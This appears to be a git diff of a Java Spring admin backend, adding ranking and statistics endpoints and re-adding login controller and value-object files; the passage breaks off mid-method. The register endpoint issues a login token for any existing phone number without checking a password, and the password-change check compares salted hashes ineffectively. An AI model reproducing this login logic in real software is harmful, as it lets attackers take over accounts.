@GetMapping("/rankingListKFSum") + public R rankingListKFSum(OrderRankingBo bo) { + bo.setType(1); + return R.ok(tpNewOrderService.rankingListKFSum(bo)); + } + + /** + * 技术排行榜 + */ + @SaCheckPermission("index:order:rankingListJS") + @GetMapping("/rankingListJS") + public TableDataInfo rankingListJS(OrderRankingBo bo, PageQuery pageQuery) { + bo.setType(2); + return tpNewOrderService.rankingListJS(bo, pageQuery); + } + + /** + * 技术排行榜统计 + */ + @SaCheckPermission("index:order:rankingListJS") + @GetMapping("/rankingListJSSum") + public R rankingListJSSum(OrderRankingBo bo) { + bo.setType(2); + return R.ok(tpNewOrderService.rankingListJSSum(bo)); + } + + /** + * 部门排行榜(客服) + */ + @SaCheckPermission("index:order:deptRankingList") + @GetMapping("/deptRankingList") + public R> deptRankingList(SysDeptBo bo) { + return R.ok(orderService.deptRankingList(bo)); + } + + /** + * 部门排行榜(客服单个) + */ + @SaCheckPermission("index:order:deptRankingList") + @GetMapping("/deptRankingList1") + public R> deptRankingList1(SysDeptBo bo) { + return R.ok(orderService.deptRankingList1(bo)); + } + + /** + * 部门排行榜(技术) + */ + @SaCheckPermission("index:order:deptRankingJSList") + @GetMapping("/deptRankingJSList") + public R> deptRankingJSList(SysDeptBo bo) { + return R.ok(orderService.deptRankingJSList(bo)); + } + + /** + * 部门排行榜(技术/单个) + */ + @SaCheckPermission("index:order:deptRankingJSList") + @GetMapping("/deptRankingJSList1") + public R> deptRankingJSList1(SysDeptBo bo) { + return R.ok(orderService.deptRankingJSList1(bo)); + } + + /** + * 客户下单排行榜 + */ + @SaCheckPermission("index:order:khRankingList") + @GetMapping("/khRankingList") + public TableDataInfo khRankingList(OrderRankingBo bo, PageQuery pageQuery) { + return tpNewOrderService.khRankingList(bo, pageQuery); + } + + /** + * 客户下单排行榜统计 + */ + @SaCheckPermission("index:order:khRankingList") + @GetMapping("/khRankingListSum") + public R khRankingListSum(OrderRankingBo bo) { + return R.ok(tpNewOrderService.khRankingListSum(bo)); + } + + /** + * 客服部数据分析(日) + * @param bo + * @return + */ + @SaCheckPermission("index:order:kfDayList") + @GetMapping("/kfDayList") + public TableDataInfo kfDayList(OrderRankingBo bo, PageQuery pageQuery) { + SysUserBo user = new SysUserBo(); + user.setIdentity(3); + user.setStatus("0"); + + if(ObjectUtil.isNotNull(bo.getUserName())){ + user.setNickName(bo.getUserName()); + } + if(bo.getDeptId() != null){ + user.setDeptId(bo.getDeptId()); + } + if (bo.getDeptIds() != null){ + user.setDeptIds(bo.getDeptIds()); + } + /*else { + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + lqw.in(TpOrder::getDeptId,deptIds); + }else if(scope == 3){ + lqw.eq(TpOrder::getDeptId,loginUser.getDeptId()); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + lqw.in(TpOrder::getDeptId,deptIds); + }else if(scope == 5){ + lqw.eq(TpOrder::getSid,loginUser.getUserId()); + } + }*/ + TableDataInfo list = sysUserService.selectPageGetUserList(user, pageQuery); + List userIds = list.getRows().stream().map(SysUserVo::getUserId).collect(Collectors.toList()); + List listVoList = orderService.kfDayList(bo,userIds); + + TableDataInfo kfDayListVoList = new TableDataInfo<>(); + kfDayListVoList.setCode(list.getCode()); + kfDayListVoList.setMsg(list.getMsg()); + kfDayListVoList.setTotal(list.getTotal()); + List kfList = new ArrayList<>(); + for (SysUserVo vo : list.getRows()){ + KfDayListVo kfDayListVo = new KfDayListVo(); + kfDayListVo.setSid(vo.getUserId()); + kfDayListVo.setName(vo.getNickName()); + kfDayListVo.setList(listVoList.stream().filter(item -> item.getSid().equals(vo.getUserId())).collect(Collectors.toList())); + kfList.add(kfDayListVo); + } + kfDayListVoList.setRows(kfList); + return kfDayListVoList; + } + + + /** + * 微信好友分析(日) + * @param bo + * @return + */ + @SaCheckPermission("index:order:wxDayList") + @GetMapping("/wxDayList") + public TableDataInfo wxDayList(OrderRankingBo bo, PageQuery pageQuery) { + TpWechatBo wechatBo = new TpWechatBo(); + if(bo.getDeptId() != null){ + wechatBo.setCreateDept(bo.getDeptId()); + } + if(ObjectUtil.isNotNull(bo.getUserName())){ + wechatBo.setCode(bo.getUserName()); + } + if(ObjectUtil.isNotNull(bo.getRealName())){ + wechatBo.setUser(bo.getRealName()); + } + TableDataInfo list = tpWechatService.queryPageList(wechatBo, pageQuery); + List wxIds = list.getRows().stream().map(TpWechatVo::getId).collect(Collectors.toList()); + List listVoList = tpWechatService.wxDayList(bo,wxIds); + + TableDataInfo wxDayListVoList = new TableDataInfo<>(); + wxDayListVoList.setCode(list.getCode()); + wxDayListVoList.setMsg(list.getMsg()); + wxDayListVoList.setTotal(list.getTotal()); + List wxList = new ArrayList<>(); + for (TpWechatVo vo : list.getRows()){ + WxDayListVo wxDayListVo = new WxDayListVo(); + wxDayListVo.setId(vo.getId()); + wxDayListVo.setCode(vo.getCode()); + wxDayListVo.setName(vo.getUser()); + wxDayListVo.setList(listVoList.stream().filter(item -> item.getWid().equals(vo.getId())).collect(Collectors.toList())); + wxList.add(wxDayListVo); + + } + wxDayListVoList.setRows(wxList); + return wxDayListVoList; + } + + /** + * 微信好友分析(日) + * @param bo + * @return + */ + @SaCheckPermission("index:order:wxDayList") + @GetMapping("/wxDayList1") + public TableDataInfo wxDayList1(OrderRankingBo bo, PageQuery pageQuery) { + SysUserBo user = new SysUserBo(); + user.setIdentity(3); + user.setStatus("0"); + + if(ObjectUtil.isNotNull(bo.getUserName())){ + user.setNickName(bo.getUserName()); + } + if(bo.getDeptId() != null){ + user.setDeptId(bo.getDeptId()); + } + if (bo.getDeptIds() != null){ + user.setDeptIds(bo.getDeptIds()); + } + TableDataInfo list = sysUserService.selectPageGetUserList(user, pageQuery); + if (!list.getRows().isEmpty()) { + List userIds = list.getRows().stream().map(SysUserVo::getUserId).collect(Collectors.toList()); + + List list1 = tpWechatService.queryListByIds(userIds); + List wxIds = list1.stream().map(TpWechatVo::getId).collect(Collectors.toList()); + List listVoList = tpWechatService.wxDayList(bo,wxIds); + + + TableDataInfo wxDayListVoList = new TableDataInfo<>(); + wxDayListVoList.setCode(list.getCode()); + wxDayListVoList.setMsg(list.getMsg()); + wxDayListVoList.setTotal(list.getTotal()); + List wxList = new ArrayList<>(); + for (TpWechatVo vo : list1){ + WxDayListVo wxDayListVo = new WxDayListVo(); + wxDayListVo.setId(vo.getId()); + wxDayListVo.setCode(vo.getCode()); + wxDayListVo.setUid(vo.getUid()); + wxDayListVo.setName(vo.getUser()); + wxDayListVo.setList(listVoList.stream().filter(item -> item.getWid().equals(vo.getId())).collect(Collectors.toList())); + wxList.add(wxDayListVo); + } + wxDayListVoList.setRows(wxList); + return wxDayListVoList; + } + return TableDataInfo.build(); + } + + + /** + * 微信好友分析(月) + * @param bo + * @return + */ + @SaCheckPermission("index:order:wxMonthList") + @GetMapping("/wxMonthList") + public TableDataInfo wxMonthList(OrderRankingBo bo, PageQuery pageQuery) { + TpWechatBo wechatBo = new TpWechatBo(); + if(bo.getDeptId() != null){ + wechatBo.setCreateDept(bo.getDeptId()); + } + if(ObjectUtil.isNotNull(bo.getUserName())){ + wechatBo.setCode(bo.getUserName()); + } + if(ObjectUtil.isNotNull(bo.getRealName())){ + wechatBo.setUser(bo.getRealName()); + } + TableDataInfo list = tpWechatService.queryPageList(wechatBo, pageQuery); + List wxIds = list.getRows().stream().map(TpWechatVo::getId).collect(Collectors.toList()); + List listVoList = tpWechatService.wxMonthList(bo,wxIds); + + TableDataInfo wxDayListVoList = new TableDataInfo<>(); + wxDayListVoList.setCode(list.getCode()); + wxDayListVoList.setMsg(list.getMsg()); + wxDayListVoList.setTotal(list.getTotal()); + List wxList = new ArrayList<>(); + for (TpWechatVo vo : list.getRows()){ + WxDayListVo wxDayListVo = new WxDayListVo(); + wxDayListVo.setId(vo.getId()); + wxDayListVo.setCode(vo.getCode()); + wxDayListVo.setName(vo.getUser()); + wxDayListVo.setList(listVoList.stream().filter(item -> item.getWid().equals(vo.getId())).collect(Collectors.toList())); + wxList.add(wxDayListVo); + + } + wxDayListVoList.setRows(wxList); + return wxDayListVoList; + } + + + /** + * 技术部数据分析(分图) + * @param bo + * @return + */ + @SaCheckPermission("index:order:ftDayList") + @GetMapping("/ftDayList") + public TableDataInfo ftDayList(OrderRankingBo bo, PageQuery pageQuery) { + SysUserBo user = new SysUserBo(); + user.setIsFty(1); + if(bo.getDeptId() != null){ + user.setDeptId(bo.getDeptId()); + } + if (bo.getDeptIds() != null){ + user.setDeptIds(bo.getDeptIds()); + } + if(ObjectUtil.isNotNull(bo.getUserName())){ + user.setNickName(bo.getUserName()); + } + TableDataInfo list = sysUserService.selectPageGetUserList(user, pageQuery); + List userIds = list.getRows().stream().map(SysUserVo::getUserId).collect(Collectors.toList()); + List listVoList = orderService.ftDayList(bo,userIds); + + TableDataInfo kfDayListVoList = new TableDataInfo<>(); + kfDayListVoList.setCode(list.getCode()); + kfDayListVoList.setMsg(list.getMsg()); + + int i = 0; + List kfList = new ArrayList<>(); + for (SysUserVo vo : list.getRows()){ + boolean containsUserId = listVoList.stream() + .map(OrderDayListVo::getFid).anyMatch(userId -> userId.equals(vo.getUserId())); + if (containsUserId) { + KfDayListVo kfDayListVo = new KfDayListVo(); + kfDayListVo.setSid(vo.getUserId()); + kfDayListVo.setName(vo.getNickName()); + kfDayListVo.setList(listVoList.stream().filter(item -> item.getFid().equals(vo.getUserId())).collect(Collectors.toList())); + kfList.add(kfDayListVo); + } else { + i++; + } + } + kfDayListVoList.setTotal(list.getTotal()-i); + kfDayListVoList.setRows(kfList); + return kfDayListVoList; + } + + + /** + * 技术部数据分析(月) + * @param bo + * @return + */ + @SaCheckPermission("index:order:jsDayList") + @GetMapping("/jsDayList") + public TableDataInfo jsDayList(OrderRankingBo bo, PageQuery pageQuery) { + SysUserBo user = new SysUserBo(); + user.setIdentity(2); + user.setStatus("0"); + if(bo.getDeptId() != null){ + user.setDeptId(bo.getDeptId()); + } + if (bo.getDeptIds() != null){ + user.setDeptIds(bo.getDeptIds()); + } + if(ObjectUtil.isNotNull(bo.getUserName())){ + user.setNickName(bo.getUserName()); + } + TableDataInfo list = sysUserService.selectPageGetUserList(user, pageQuery); + List userIds = list.getRows().stream().map(SysUserVo::getUserId).collect(Collectors.toList()); + List listVoList = orderService.jsDayList(bo,userIds); + + TableDataInfo kfDayListVoList = new TableDataInfo<>(); + kfDayListVoList.setCode(list.getCode()); + kfDayListVoList.setMsg(list.getMsg()); + + int i = 0; + List kfList = new ArrayList<>(); + for (SysUserVo vo : list.getRows()){ + boolean containsUserId = listVoList.stream() + .map(OrderDayListVo::getBid).anyMatch(userId -> userId.equals(vo.getUserId())); + if (containsUserId) { + KfDayListVo kfDayListVo = new KfDayListVo(); + kfDayListVo.setSid(vo.getUserId()); + kfDayListVo.setName(vo.getNickName()); + kfDayListVo.setList(listVoList.stream().filter(item -> item.getBid().equals(vo.getUserId())).collect(Collectors.toList())); + kfList.add(kfDayListVo); + } else { + i++; + } + } + kfDayListVoList.setTotal(list.getTotal()-i); + kfDayListVoList.setRows(kfList); + return kfDayListVoList; + } + + + /** + * 业绩按月统计 + */ + @SaCheckPermission("index:order:monthArrivedPer") + @PostMapping("/monthArrivedPer") + @Parameters({ + @Parameter(name = "month", description = "日期 如:2024-09", required = true), + @Parameter(name = "deptId", description = "部门ID", required = false) + }) + public R> monthArrivedPer(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { + return R.ok(orderService.monthArrivedPer(month,deptId)); + } + + /** + * 业绩按年统计 + */ + @SaCheckPermission("index:order:yearArrivedPer") + @PostMapping("/yearArrivedPer") + @Parameters({ + @Parameter(name = "year", description = "日期 如:2024", required = true), + @Parameter(name = "deptId", description = "部门ID", required = false) + }) + public R> yearArrivedPer(@RequestParam(value = "year") String year, @RequestParam(value = "deptId") Long deptId) { + return R.ok(orderService.yearArrivedPer(year,deptId)); + } + + + /** + * 订单类型统计 + */ + @SaCheckPermission("index:order:monthOrderType") + @PostMapping("/monthOrderType") + @Parameters({ + @Parameter(name = "month", description = "日期 如:2024-09", required = true), + @Parameter(name = "deptId", description = "部门ID", required = false) + }) + public R> monthOrderType(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { + return R.ok(orderService.monthOrderType(month,deptId)); + } + + /** + * 订单空间统计 + */ + @SaCheckPermission("index:order:monthOrderSpace") + @PostMapping("/monthOrderSpace") + @Parameters({ + @Parameter(name = "month", description = "日期 如:2024-09", required = true), + @Parameter(name = "deptId", description = "部门ID", required = false) + }) + public R> monthOrderSpace(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { + return R.ok(orderService.monthOrderSpace(month,deptId)); + } + + /** + * 订单风格统计 + */ + @SaCheckPermission("index:order:monthOrderStyle") + @PostMapping("/monthOrderStyle") + @Parameters({ + @Parameter(name = "month", description = "日期 如:2024-09", required = true), + @Parameter(name = "deptId", description = "部门ID", required = false) + }) + public R> monthOrderStyle(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { + return R.ok(orderService.monthOrderStyle(month,deptId)); + } + + + /** + * 新老客户占比 + */ + @SaCheckPermission("index:order:newOldOrderPer") + @PostMapping("/newOldOrderPer") + @Parameters({ + @Parameter(name = "month", description = "日期 如:2024-09", required = true), + @Parameter(name = "deptId", description = "部门ID", required = false) + }) + public R> newOldOrderPer(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { + return R.ok(orderService.newOldOrderPer(month,deptId)); + } +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/controller/LoginController.java b/ruoyi-admin/src/main/java/org/dromara/web/controller/LoginController.java index edcc336..acaeff2 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/controller/LoginController.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/controller/LoginController.java @@ -1,124 +1,124 @@ -package org.dromara.web.controller; - -import cn.dev33.satoken.secure.BCrypt; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.core.util.StrUtil; -import com.alibaba.fastjson.JSONObject; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import io.swagger.v3.oas.annotations.Operation; -import io.swagger.v3.oas.annotations.Parameter; -import io.swagger.v3.oas.annotations.tags.Tag; -import jakarta.validation.Valid; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.web.utils.WxXcxUtils; -import org.dromara.work.domain.TzUser; -import org.dromara.work.domain.vo.TzUserVo; -import org.dromara.work.service.ITzUserService; -import org.dromara.web.common.*; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.Date; - -/** - * @author Maosw - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/api/user/login") -@Tag(name = "登录接口") -public class LoginController { - - private final ITzUserService tzUserService; - - private final TokenStore tokenStore; - - - @PostMapping("/getUserPhoneNumber") - @Operation(summary = "微信接口获取手机号码" , description = "微信接口获取手机号码") - @Parameter(name = "code", description = "code", required = true) - public ServerResponseEntity getUserPhoneNumber(@RequestParam(value = "code") String code) { -// String phone = WxXcxUtils.getUserPhoneNumber(code); - return ServerResponseEntity.success(WxXcxUtils.getUserPhoneNumber(code)); - } - - @PostMapping("/register") - @Operation(summary = "注册登录" , description = "用户绑定手机号注册登录") - public ServerResponseEntity register(@Valid @RequestBody UserRegisterParam userRegisterParam) { - if (StrUtil.isBlank(userRegisterParam.getNickName())) { - userRegisterParam.setNickName(userRegisterParam.getUserName()); - } - - TzUser tzUser = tzUserService.getOne(new LambdaQueryWrapper().eq(TzUser::getUserMobile, userRegisterParam.getMobile())); - if (ObjectUtil.isNotEmpty(tzUser)) { - //登录 - UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO(); - userInfoInTokenBO.setUserId(tzUser.getUserId()); - userInfoInTokenBO.setSysType(0); - userInfoInTokenBO.setEnabled(true); - return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO)); - }else { - //注册并登录 - Date now = new Date(); - TzUser user = new TzUser(); - user.setModifyTime(now); - user.setUserRegtime(now); - user.setStatus(1); - user.setUserMobile(userRegisterParam.getMobile()); - user.setNickName(userRegisterParam.getNickName()); - user.setUserMail(userRegisterParam.getUserMail()); - user.setPic(userRegisterParam.getImg()); - user.setLoginPassword(BCrypt.hashpw(userRegisterParam.getPassWord())); - user.setOpenId(userRegisterParam.getOpenId()); - tzUserService.save(user); - // 2. 登录 - UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO(); - userInfoInTokenBO.setUserId(user.getUserId()); - userInfoInTokenBO.setSysType(0); - userInfoInTokenBO.setEnabled(true); - return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO)); - } - } - - @PutMapping("/updatePwd") - @Operation(summary = "修改密码" , description = "修改密码") - public ServerResponseEntity updatePwd(@Valid @RequestBody UserRegisterParam userPwdUpdateParam) { - Long userId = SecurityUtils.getUser().getUserId(); - TzUserVo user = tzUserService.queryById(userId); - if (user == null) { - // 无法获取用户信息 - throw new ServiceException("无法获取用户信息"); - } - if (StrUtil.isBlank(userPwdUpdateParam.getPassWord())) { - // 新密码不能为空 - throw new ServiceException("新密码不能为空"); - } - String password = BCrypt.hashpw(userPwdUpdateParam.getPassWord()); - if (StrUtil.equals(password, user.getLoginPassword())) { - // 新密码不能与原密码相同 - throw new ServiceException("新密码不能与原密码相同"); - } - user.setModifyTime(new Date()); - user.setLoginPassword(password); - - TzUser tzUser = MapstructUtils.convert(user, TzUser.class); - return ServerResponseEntity.success(tzUserService.updateById(tzUser)); - } - - /** - * 获取登录用户信息 - */ - @GetMapping("/info") - @Operation(summary = "获取登录用户信息" , description = "获取登录用户信息") - public ServerResponseEntity info() { - Long userId = SecurityUtils.getUser().getUserId(); - TzUserVo user = tzUserService.queryById(userId); - return ServerResponseEntity.success(user); - } - - - -} +package org.dromara.web.controller; + +import cn.dev33.satoken.secure.BCrypt; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.core.util.StrUtil; +import com.alibaba.fastjson.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import io.swagger.v3.oas.annotations.Operation; +import io.swagger.v3.oas.annotations.Parameter; +import io.swagger.v3.oas.annotations.tags.Tag; +import jakarta.validation.Valid; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.web.utils.WxXcxUtils; +import org.dromara.work.domain.TzUser; +import org.dromara.work.domain.vo.TzUserVo; +import org.dromara.work.service.ITzUserService; +import org.dromara.web.common.*; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.Date; + +/** + * @author Maosw + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/api/user/login") +@Tag(name = "登录接口") +public class LoginController { + + private final ITzUserService tzUserService; + + private final TokenStore tokenStore; + + + @PostMapping("/getUserPhoneNumber") + @Operation(summary = "微信接口获取手机号码" , description = "微信接口获取手机号码") + @Parameter(name = "code", description = "code", required = true) + public ServerResponseEntity getUserPhoneNumber(@RequestParam(value = "code") String code) { +// String phone = WxXcxUtils.getUserPhoneNumber(code); + return ServerResponseEntity.success(WxXcxUtils.getUserPhoneNumber(code)); + } + + @PostMapping("/register") + @Operation(summary = "注册登录" , description = "用户绑定手机号注册登录") + public ServerResponseEntity register(@Valid @RequestBody UserRegisterParam userRegisterParam) { + if (StrUtil.isBlank(userRegisterParam.getNickName())) { + userRegisterParam.setNickName(userRegisterParam.getUserName()); + } + + TzUser tzUser = tzUserService.getOne(new LambdaQueryWrapper().eq(TzUser::getUserMobile, userRegisterParam.getMobile())); + if (ObjectUtil.isNotEmpty(tzUser)) { + //登录 + UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO(); + userInfoInTokenBO.setUserId(tzUser.getUserId()); + userInfoInTokenBO.setSysType(0); + userInfoInTokenBO.setEnabled(true); + return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO)); + }else { + //注册并登录 + Date now = new Date(); + TzUser user = new TzUser(); + user.setModifyTime(now); + user.setUserRegtime(now); + user.setStatus(1); + user.setUserMobile(userRegisterParam.getMobile()); + user.setNickName(userRegisterParam.getNickName()); + user.setUserMail(userRegisterParam.getUserMail()); + user.setPic(userRegisterParam.getImg()); + user.setLoginPassword(BCrypt.hashpw(userRegisterParam.getPassWord())); + user.setOpenId(userRegisterParam.getOpenId()); + tzUserService.save(user); + // 2. 登录 + UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO(); + userInfoInTokenBO.setUserId(user.getUserId()); + userInfoInTokenBO.setSysType(0); + userInfoInTokenBO.setEnabled(true); + return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO)); + } + } + + @PutMapping("/updatePwd") + @Operation(summary = "修改密码" , description = "修改密码") + public ServerResponseEntity updatePwd(@Valid @RequestBody UserRegisterParam userPwdUpdateParam) { + Long userId = SecurityUtils.getUser().getUserId(); + TzUserVo user = tzUserService.queryById(userId); + if (user == null) { + // 无法获取用户信息 + throw new ServiceException("无法获取用户信息"); + } + if (StrUtil.isBlank(userPwdUpdateParam.getPassWord())) { + // 新密码不能为空 + throw new ServiceException("新密码不能为空"); + } + String password = BCrypt.hashpw(userPwdUpdateParam.getPassWord()); + if (StrUtil.equals(password, user.getLoginPassword())) { + // 新密码不能与原密码相同 + throw new ServiceException("新密码不能与原密码相同"); + } + user.setModifyTime(new Date()); + user.setLoginPassword(password); + + TzUser tzUser = MapstructUtils.convert(user, TzUser.class); + return ServerResponseEntity.success(tzUserService.updateById(tzUser)); + } + + /** + * 获取登录用户信息 + */ + @GetMapping("/info") + @Operation(summary = "获取登录用户信息" , description = "获取登录用户信息") + public ServerResponseEntity info() { + Long userId = SecurityUtils.getUser().getUserId(); + TzUserVo user = tzUserService.queryById(userId); + return ServerResponseEntity.success(user); + } + + + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/CaptchaVo.java b/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/CaptchaVo.java index 664df1e..1a1657a 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/CaptchaVo.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/CaptchaVo.java @@ -1,25 +1,25 @@ -package org.dromara.web.domain.vo; - -import lombok.Data; - -/** - * 验证码信息 - * - * @author Michelle.Chung - */ -@Data -public class CaptchaVo { - - /** - * 是否开启验证码 - */ - private Boolean captchaEnabled = true; - - private String uuid; - - /** - * 验证码图片 - */ - private String img; - -} +package org.dromara.web.domain.vo; + +import lombok.Data; + +/** + * 验证码信息 + * + * @author Michelle.Chung + */ +@Data +public class CaptchaVo { + + /** + * 是否开启验证码 + */ + private Boolean captchaEnabled = true; + + private String uuid; + + /** + * 验证码图片 + */ + private String img; + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/LoginTenantVo.java b/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/LoginTenantVo.java index 0a83ace..f3dc678 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/LoginTenantVo.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/LoginTenantVo.java @@ -1,25 +1,25 @@ -package org.dromara.web.domain.vo; - -import lombok.Data; - -import java.util.List; - -/** - * 登录租户对象 - * - * @author Michelle.Chung - */ -@Data -public class LoginTenantVo { - - /** - * 租户开关 - */ - private Boolean tenantEnabled; - - /** - * 租户对象列表 - */ - private List voList; - -} +package org.dromara.web.domain.vo; + +import lombok.Data; + +import java.util.List; + +/** + * 登录租户对象 + * + * @author Michelle.Chung + */ +@Data +public class LoginTenantVo { + + /** + * 租户开关 + */ + private Boolean tenantEnabled; + + /** + * 租户对象列表 + */ + private List voList; + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/LoginVo.java b/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/LoginVo.java index 834afe5..17ab133 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/LoginVo.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/LoginVo.java @@ -1,54 +1,54 @@ -package org.dromara.web.domain.vo; - -import com.fasterxml.jackson.annotation.JsonProperty; -import lombok.Data; - -/** - * 登录验证信息 - * - * @author Michelle.Chung - */ -@Data -public class LoginVo { - - /** - * 授权令牌 - */ - @JsonProperty("access_token") - private String accessToken; - - /** - * 刷新令牌 - */ - @JsonProperty("refresh_token") - private String refreshToken; - - /** - * 授权令牌 access_token 的有效期 - */ - @JsonProperty("expire_in") - private Long expireIn; - - /** - * 刷新令牌 refresh_token 的有效期 - */ - @JsonProperty("refresh_expire_in") - private Long refreshExpireIn; - - /** - * 应用id - */ - @JsonProperty("client_id") - private String clientId; - - /** - * 令牌权限 - */ - private String scope; - - /** - * 用户 openid - */ - private String openid; - -} +package org.dromara.web.domain.vo; + +import com.fasterxml.jackson.annotation.JsonProperty; +import lombok.Data; + +/** + * 登录验证信息 + * + * @author Michelle.Chung + */ +@Data +public class LoginVo { + + /** + * 授权令牌 + */ + @JsonProperty("access_token") + private String accessToken; + + /** + * 刷新令牌 + */ + @JsonProperty("refresh_token") + private String refreshToken; + + /** + * 授权令牌 access_token 的有效期 + */ + @JsonProperty("expire_in") + private Long expireIn; + + /** + * 刷新令牌 refresh_token 的有效期 + */ + @JsonProperty("refresh_expire_in") + private Long refreshExpireIn; + + /** + * 应用id + */ + @JsonProperty("client_id") + private String clientId; + + /** + * 令牌权限 + */ + private String scope; + + /** + * 用户 openid + */ + private String openid; + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/TenantListVo.java b/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/TenantListVo.java index ec291f4..3641fbd 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/TenantListVo.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/domain/vo/TenantListVo.java @@ -1,31 +1,31 @@ -package org.dromara.web.domain.vo; - -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.system.domain.vo.SysTenantVo; - -/** - * 租户列表 - * - * @author Lion Li - */ -@Data -@AutoMapper(target = SysTenantVo.class) -public class TenantListVo { - - /** - * 租户编号 - */ - private String tenantId; - - /** - * 企业名称 - */ - private String companyName; - - /** - * 域名 - */ - private String domain; - -} +package org.dromara.web.domain.vo; + +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.system.domain.vo.SysTenantVo; + +/** + * 租户列表 + * + * @author Lion Li + */ +@Data +@AutoMapper(target = SysTenantVo.class) +public class TenantListVo { + + /** + * 租户编号 + */ + private String tenantId; + + /** + * 企业名称 + */ + private String companyName; + + /** + * 域名 + */ + private String domain; + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/listener/UserActionListener.java b/ruoyi-admin/src/main/java/org/dromara/web/listener/UserActionListener.java index 07595e0..5075fd0 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/listener/UserActionListener.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/listener/UserActionListener.java @@ -1,165 +1,165 @@ -package org.dromara.web.listener; - -import cn.dev33.satoken.config.SaTokenConfig; -import cn.dev33.satoken.listener.SaTokenListener; -import cn.dev33.satoken.stp.SaLoginModel; -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.http.useragent.UserAgent; -import cn.hutool.http.useragent.UserAgentUtil; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.CacheConstants; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.domain.dto.UserOnlineDTO; -import org.dromara.common.core.utils.MessageUtils; -import org.dromara.common.core.utils.ServletUtils; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.ip.AddressUtils; -import org.dromara.common.log.event.LogininforEvent; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.web.service.SysLoginService; -import org.springframework.stereotype.Component; - -import java.time.Duration; - -/** - * 用户行为 侦听器的实现 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Component -@Slf4j -public class UserActionListener implements SaTokenListener { - - private final SaTokenConfig tokenConfig; - private final SysLoginService loginService; - - /** - * 每次登录时触发 - */ - @Override - public void doLogin(String loginType, Object loginId, String tokenValue, SaLoginModel loginModel) { - UserAgent userAgent = UserAgentUtil.parse(ServletUtils.getRequest().getHeader("User-Agent")); - String ip = ServletUtils.getClientIP(); - UserOnlineDTO dto = new UserOnlineDTO(); - dto.setIpaddr(ip); - dto.setLoginLocation(AddressUtils.getRealAddressByIP(ip)); - dto.setBrowser(userAgent.getBrowser().getName()); - dto.setOs(userAgent.getOs().getName()); - dto.setLoginTime(System.currentTimeMillis()); - dto.setTokenId(tokenValue); - String username = (String) loginModel.getExtra(LoginHelper.USER_NAME_KEY); - String tenantId = (String) loginModel.getExtra(LoginHelper.TENANT_KEY); - dto.setUserName(username); - dto.setClientKey((String) loginModel.getExtra(LoginHelper.CLIENT_KEY)); - dto.setDeviceType(loginModel.getDevice()); - dto.setDeptName((String) loginModel.getExtra(LoginHelper.DEPT_NAME_KEY)); - TenantHelper.dynamic(tenantId, () -> { - if(tokenConfig.getTimeout() == -1) { - 